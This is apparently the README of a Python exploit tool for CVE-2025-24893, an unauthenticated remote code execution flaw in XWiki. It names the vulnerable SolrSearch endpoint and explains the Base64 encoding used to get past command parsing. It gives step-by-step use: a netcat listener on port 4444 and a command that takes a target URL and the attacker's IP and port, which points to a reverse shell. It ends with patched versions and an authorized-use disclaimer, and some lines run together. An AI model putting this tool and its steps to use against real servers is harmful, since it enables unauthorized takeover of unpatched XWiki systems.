
Exploit de Execução Remota de Código (RCE) no XWiki
XWiki Remote Code Execution (RCE) Exploit
A Python3 exploit for CVE-2025-24893, a critical Unauthenticated Remote Code Execution (RCE) vulnerability affecting the XWiki platform.
This script exploits a Code/Expression Injection flaw (CWE-95) within the SolrSearch macro component. The flaw allows attackers to execute arbitrary Groovy/Java code on the underlying operating system. The exploit automatically performs Base64 encoding to bypass the command parsing limitations of Java's Runtime.getRuntime().exec() function.
/bin/get/Main/SolrSearch (via the text parameter)nc -lvnp 4444
python3 CVE-2025-24-893.py <TARGET_URL> <YOUR_VPN_IP> <YOUR_PORT>
Example:
python3 CVE-2025-24-893.py http://domain.local 10.10.14.229 4444
requestsTo install the required dependency:
pip install requests
Update your XWiki instance to one of the official patched versions: 15.10.11, 16.4.1, 16.5.0-rc-1 (or later).
This script was developed exclusively for educational purposes, authorized security audits, and penetration testing (Pentest). The author is not responsible for any misuse, damage, or illegal activities caused by this tool. The use of this script against targets without prior authorization is strictly illegal.